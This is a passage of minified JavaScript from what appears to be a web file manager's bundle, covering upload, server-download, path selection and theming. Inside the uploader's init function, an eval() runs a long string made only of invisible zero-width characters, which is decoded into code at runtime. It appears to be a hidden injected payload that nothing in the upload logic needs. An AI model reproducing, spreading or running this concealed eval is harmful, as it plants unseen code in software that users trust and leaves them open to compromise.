i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1; -if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 